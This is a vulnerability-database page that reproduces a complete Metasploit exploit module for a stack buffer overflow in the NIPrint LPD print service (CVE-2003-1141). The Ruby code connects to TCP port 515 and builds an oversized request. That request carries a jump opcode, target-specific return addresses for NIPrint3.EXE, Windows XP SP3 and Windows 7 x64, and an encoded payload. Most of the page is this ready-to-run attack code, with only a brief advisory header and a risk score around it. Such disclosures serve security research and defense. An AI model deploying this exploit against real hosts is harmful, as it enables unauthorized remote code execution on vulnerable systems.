NIPrint LPD Request Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

NIPrint LPD Request Overflow. Stack buffer overflow in NIPrint LPD servic


                                                ##
# $Id: niprint.rb 11407 2010-12-25 06:01:12Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;NIPrint LPD Request Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in the
				Network Instrument NIPrint LPD service. Inspired by
				Immunity&#39;s VisualSploit :-)
			},
			&#39;Author&#39;         =&#62; [ &#39;hdm&#39; ],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 11407 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;, &#39;2003-1141&#39;],
					[&#39;OSVDB&#39;, &#39;2774&#39;],
					[&#39;BID&#39;, &#39;8968&#39;],
					[&#39;URL&#39;,   &#39;http://www.immunitysec.com/documentation/vs_niprint.html&#39;],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 500,
					&#39;BadChars&#39; =&#62; &#34;\x00\x0a&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[&#39;NIPrint3.EXE (TDS:0x3a045ff2)&#39;, { &#39;Ret&#39; =&#62; 0x00404236 }], # jmp esi
					[&#39;Windows XP SP3&#39;, { &#39;Ret&#39; =&#62; 0x7C9D30E3 }],
					[&#39;Windows 7 x64&#39;, { &#39;Ret&#39; =&#62; 0x763B35DD }],
				],
			&#39;DefaultTarget&#39; =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 05 2003&#39;))

		register_options(
			[
				Opt::RPORT(515)
			], self.class )
	end

	def exploit
		connect

		req = rand_text_alphanumeric(8192)
		req[  0, 2] = &#34;\xeb\x33&#34;
		req[ 49, 4] = [target.ret].pack(&#39;V&#39;)
		req[ 53, payload.encoded.length ] = payload.encoded

		print_status(&#34;Trying target #{target.name}...&#34;)
		sock.put(req)

		handler
		disconnect
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1